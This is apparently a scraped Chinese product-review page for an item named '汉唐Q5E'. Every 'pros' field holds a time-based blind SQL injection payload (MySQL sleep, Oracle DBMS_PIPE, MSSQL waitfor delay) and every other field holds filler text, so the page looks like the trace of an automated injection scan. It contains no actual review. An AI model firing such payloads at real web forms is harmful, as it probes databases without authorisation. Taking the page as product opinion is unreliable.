汉唐Q5E

优点：0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

缺点：e

综述：e

优点：0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

缺点：e

综述：e

优点：if(now()=sysdate(),sleep(15),0)

缺点：e

综述：e

优点：e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

缺点：e

综述：e

优点：HDVoI28u')); waitfor delay '0:0:15' --

缺点：e

综述：e